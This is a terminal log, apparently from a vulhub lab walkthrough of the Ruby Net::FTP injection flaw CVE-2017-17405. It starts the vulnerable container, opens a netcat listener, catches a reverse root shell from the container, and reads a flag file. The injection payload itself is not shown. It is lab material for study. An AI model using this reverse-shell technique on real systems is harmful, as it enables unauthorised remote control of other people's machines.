┌──(root💀kali)-[~] └─# cd /root/vulhub/ruby/CVE-2017-17405 ┌──(root💀kali)-[~/vulhub/ruby/CVE-2017-17405] └─# docker-compose up -d Creating network "cve-2017-17405_default" with the default driver Creating cve-2017-17405_web_1 ... done
┌──(root💀kali)-[~/vulhub/ruby/CVE-2017-17405] └─# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES dcc64104f647 cve-2017-17405_web "ruby web.rb -p 8080…" 20 seconds ago Up 19 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2017-17405_web_1 ┌──(root💀kali)-[~/vulhub/ruby/CVE-2017-17405] └─# docker exec -it dcc64104f647 /bin/bash root@dcc64104f647:/usr/src# ls web.rb root@dcc64104f647:/usr/src# cat web.rb
┌──(root💀kali)-[~] └─# nc -lvvp 6666 listening on [any] 6666 ... 172.18.0.2: inverse host lookup failed: Unknown host connect to [xxx.xxx.xxx.xxx] from (UNKNOWN) [172.18.0.2] 36762 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@dcc64104f647:/usr/src# ls ls flag.txt success.txt web.rb root@dcc64104f647:/usr/src# cat flag.txt cat flag.txt flag{FTP-dowload}